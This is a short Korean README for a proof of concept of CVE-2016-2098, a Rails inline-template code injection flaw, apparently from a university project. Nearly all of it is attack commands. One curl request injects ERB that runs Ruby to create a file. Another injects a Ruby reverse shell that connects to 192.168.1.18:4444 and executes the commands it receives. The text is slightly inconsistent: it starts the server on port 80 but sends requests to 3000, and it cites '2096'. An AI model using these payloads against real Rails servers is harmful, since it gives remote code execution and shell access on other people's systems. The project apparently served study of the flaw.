
개념 증명 CVE-2016-2098
@alejandro-marting 님이 만든 대학 프로젝트 취약점 2096을 확인할 수 있습니다
사용 환경:
##실행: 먼저 다음 명령어로 Rails 서버를 실행해야 합니다:
$ rvmsudo rails server -b 0.0.0.0 -p 80
이제 다음 명령어로 원격 코드 실행을 트리거할 수 있습니다:
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'
(rooted 파일이 생성되어야 합니다)
Ruby 코드 삽입을 통한 리버스 셸을 시도하려면 다음 명령어를 실행하세요:
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}' http://localhost:3000/poc/render1
질문이 있으시면 언제든지 연락해 주세요!